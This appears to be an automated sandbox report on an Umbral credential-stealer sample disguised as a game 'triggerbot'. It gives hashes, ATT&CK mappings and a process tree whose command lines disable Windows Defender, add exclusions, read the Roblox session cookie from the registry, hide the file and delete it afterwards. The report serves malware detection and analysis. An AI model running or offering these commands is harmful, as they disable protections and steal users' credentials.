umbral | df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf

Analysis

max time kernel
148s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
18-08-2024 21:44

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General

Target

triggerbot_beta.exe
Size

492KB
MD5

c6082923c754876542e9e9819763aa00
SHA1

1f6958604f623c279751c0ae84e1bbc46548de65
SHA256

df99537694b2fe9e5732fad10d520af72f26f4654bee5221fb46f1eaeaaf9bcf
SHA512

e65208f424b8da472eb0a30ec38d57a57e85e2f9247c31157e75e3a08710075ef02cfc25a650bb395326c9115d0f93d177472aeefeb76f54545d1b264b49ece5
SSDEEP

6144:XloZM+rIkd8g+EtXHkv/iD4NkxjfVeGJqMFXSy3DoZb8e1mNiE:1oZtL+EP8NkxjfVeGJqMFXSy3DQrE

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/320-1-0x000001E44C380000-0x000001E44C400000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3756	powershell.exe
1036	powershell.exe
916	powershell.exe
4296	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	triggerbot_beta.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
33	discord.com
32	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
8	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4400	cmd.exe
3300	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1380	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3300	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
320	triggerbot_beta.exe
3756	powershell.exe
3756	powershell.exe
1036	powershell.exe
1036	powershell.exe
916	powershell.exe
916	powershell.exe
5112	powershell.exe
5112	powershell.exe
4296	powershell.exe
4296	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	320	triggerbot_beta.exe
Token: SeIncreaseQuotaPrivilege	808	wmic.exe
Token: SeSecurityPrivilege	808	wmic.exe
Token: SeTakeOwnershipPrivilege	808	wmic.exe
Token: SeLoadDriverPrivilege	808	wmic.exe
Token: SeSystemProfilePrivilege	808	wmic.exe
Token: SeSystemtimePrivilege	808	wmic.exe
Token: SeProfSingleProcessPrivilege	808	wmic.exe
Token: SeIncBasePriorityPrivilege	808	wmic.exe
Token: SeCreatePagefilePrivilege	808	wmic.exe
Token: SeBackupPrivilege	808	wmic.exe
Token: SeRestorePrivilege	808	wmic.exe
Token: SeShutdownPrivilege	808	wmic.exe
Token: SeDebugPrivilege	808	wmic.exe
Token: SeSystemEnvironmentPrivilege	808	wmic.exe
Token: SeRemoteShutdownPrivilege	808	wmic.exe
Token: SeUndockPrivilege	808	wmic.exe
Token: SeManageVolumePrivilege	808	wmic.exe
Token: 33	808	wmic.exe
Token: 34	808	wmic.exe
Token: 35	808	wmic.exe
Token: 36	808	wmic.exe
Token: SeIncreaseQuotaPrivilege	808	wmic.exe
Token: SeSecurityPrivilege	808	wmic.exe
Token: SeTakeOwnershipPrivilege	808	wmic.exe
Token: SeLoadDriverPrivilege	808	wmic.exe
Token: SeSystemProfilePrivilege	808	wmic.exe
Token: SeSystemtimePrivilege	808	wmic.exe
Token: SeProfSingleProcessPrivilege	808	wmic.exe
Token: SeIncBasePriorityPrivilege	808	wmic.exe
Token: SeCreatePagefilePrivilege	808	wmic.exe
Token: SeBackupPrivilege	808	wmic.exe
Token: SeRestorePrivilege	808	wmic.exe
Token: SeShutdownPrivilege	808	wmic.exe
Token: SeDebugPrivilege	808	wmic.exe
Token: SeSystemEnvironmentPrivilege	808	wmic.exe
Token: SeRemoteShutdownPrivilege	808	wmic.exe
Token: SeUndockPrivilege	808	wmic.exe
Token: SeManageVolumePrivilege	808	wmic.exe
Token: 33	808	wmic.exe
Token: 34	808	wmic.exe
Token: 35	808	wmic.exe
Token: 36	808	wmic.exe
Token: SeDebugPrivilege	3756	powershell.exe
Token: SeDebugPrivilege	1036	powershell.exe
Token: SeDebugPrivilege	916	powershell.exe
Token: SeDebugPrivilege	5112	powershell.exe
Token: SeIncreaseQuotaPrivilege	428	wmic.exe
Token: SeSecurityPrivilege	428	wmic.exe
Token: SeTakeOwnershipPrivilege	428	wmic.exe
Token: SeLoadDriverPrivilege	428	wmic.exe
Token: SeSystemProfilePrivilege	428	wmic.exe
Token: SeSystemtimePrivilege	428	wmic.exe
Token: SeProfSingleProcessPrivilege	428	wmic.exe
Token: SeIncBasePriorityPrivilege	428	wmic.exe
Token: SeCreatePagefilePrivilege	428	wmic.exe
Token: SeBackupPrivilege	428	wmic.exe
Token: SeRestorePrivilege	428	wmic.exe
Token: SeShutdownPrivilege	428	wmic.exe
Token: SeDebugPrivilege	428	wmic.exe
Token: SeSystemEnvironmentPrivilege	428	wmic.exe
Token: SeRemoteShutdownPrivilege	428	wmic.exe
Token: SeUndockPrivilege	428	wmic.exe
Token: SeManageVolumePrivilege	428	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 320 wrote to memory of 808	320	triggerbot_beta.exe	87
PID 320 wrote to memory of 808	320	triggerbot_beta.exe	87
PID 320 wrote to memory of 864	320	triggerbot_beta.exe	92
PID 320 wrote to memory of 864	320	triggerbot_beta.exe	92
PID 320 wrote to memory of 3756	320	triggerbot_beta.exe	94
PID 320 wrote to memory of 3756	320	triggerbot_beta.exe	94
PID 320 wrote to memory of 1036	320	triggerbot_beta.exe	97
PID 320 wrote to memory of 1036	320	triggerbot_beta.exe	97
PID 320 wrote to memory of 916	320	triggerbot_beta.exe	99
PID 320 wrote to memory of 916	320	triggerbot_beta.exe	99
PID 320 wrote to memory of 5112	320	triggerbot_beta.exe	101
PID 320 wrote to memory of 5112	320	triggerbot_beta.exe	101
PID 320 wrote to memory of 428	320	triggerbot_beta.exe	105
PID 320 wrote to memory of 428	320	triggerbot_beta.exe	105
PID 320 wrote to memory of 4656	320	triggerbot_beta.exe	107
PID 320 wrote to memory of 4656	320	triggerbot_beta.exe	107
PID 320 wrote to memory of 1552	320	triggerbot_beta.exe	109
PID 320 wrote to memory of 1552	320	triggerbot_beta.exe	109
PID 320 wrote to memory of 4296	320	triggerbot_beta.exe	111
PID 320 wrote to memory of 4296	320	triggerbot_beta.exe	111
PID 320 wrote to memory of 1380	320	triggerbot_beta.exe	113
PID 320 wrote to memory of 1380	320	triggerbot_beta.exe	113
PID 320 wrote to memory of 4400	320	triggerbot_beta.exe	116
PID 320 wrote to memory of 4400	320	triggerbot_beta.exe	116
PID 4400 wrote to memory of 3300	4400	cmd.exe	118
PID 4400 wrote to memory of 3300	4400	cmd.exe	118

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
864	attrib.exe

C:\Users\Admin\AppData\Local\Temp\triggerbot_beta.exe
"C:\Users\Admin\AppData\Local\Temp\triggerbot_beta.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:320
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:808
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\triggerbot_beta.exe"
  2⤵
  - Views/modifies file attributes
  PID:864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\triggerbot_beta.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5112
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:428
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4656
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1552
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4296
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1380
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\triggerbot_beta.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3300

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4044

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
2e907f77659a6601fcc408274894da2e

SHA1
9f5b72abef1cd7145bf37547cdb1b9254b4efe9d

SHA256
385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233

SHA512
34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
55ce45b46557737345c35ff2a1423fb5

SHA1
8e62fa0891e605ddba9426c1b91cc282bd996b21

SHA256
6345bcac2323230aeeb00b9d387294975907a84236492832579f93dd7c2e45b5

SHA512
3c27be33641c75637432559257f47b61b760284e2a6326fc203970392c02992c097d10fe6f4dec48025ddc324cde8323ba7b98822d5ed5abcb930ccccc6e75ce

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6317adf4fbc43ea2fd68861fafd57155

SHA1
6b87c718893c83c6eed2767e8d9cbc6443e31913

SHA256
c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

SHA512
17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sfv03r0t.p3l.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/320-71-0x000001E466860000-0x000001E46686A000-memory.dmp

Filesize
40KB

Download
memory/320-35-0x000001E466820000-0x000001E46683E000-memory.dmp

Filesize
120KB

Download
memory/320-90-0x00007FFE6E7C0000-0x00007FFE6F281000-memory.dmp

Filesize
10.8MB

Download
memory/320-72-0x000001E466890000-0x000001E4668A2000-memory.dmp

Filesize
72KB

Download
memory/320-2-0x00007FFE6E7C0000-0x00007FFE6F281000-memory.dmp

Filesize
10.8MB

Download
memory/320-33-0x000001E466B00000-0x000001E466B76000-memory.dmp

Filesize
472KB

Download
memory/320-34-0x000001E466B80000-0x000001E466BD0000-memory.dmp

Filesize
320KB

Download
memory/320-0-0x00007FFE6E7C3000-0x00007FFE6E7C5000-memory.dmp

Filesize
8KB

Download
memory/320-1-0x000001E44C380000-0x000001E44C400000-memory.dmp

Filesize
512KB

Download
memory/3756-15-0x00007FFE6E7C0000-0x00007FFE6F281000-memory.dmp

Filesize
10.8MB

Download
memory/3756-14-0x00007FFE6E7C0000-0x00007FFE6F281000-memory.dmp

Filesize
10.8MB

Download
memory/3756-3-0x00007FFE6E7C0000-0x00007FFE6F281000-memory.dmp

Filesize
10.8MB

Download
memory/3756-9-0x0000016963B70000-0x0000016963B92000-memory.dmp

Filesize
136KB

Download
memory/3756-18-0x00007FFE6E7C0000-0x00007FFE6F281000-memory.dmp

Filesize
10.8MB

Download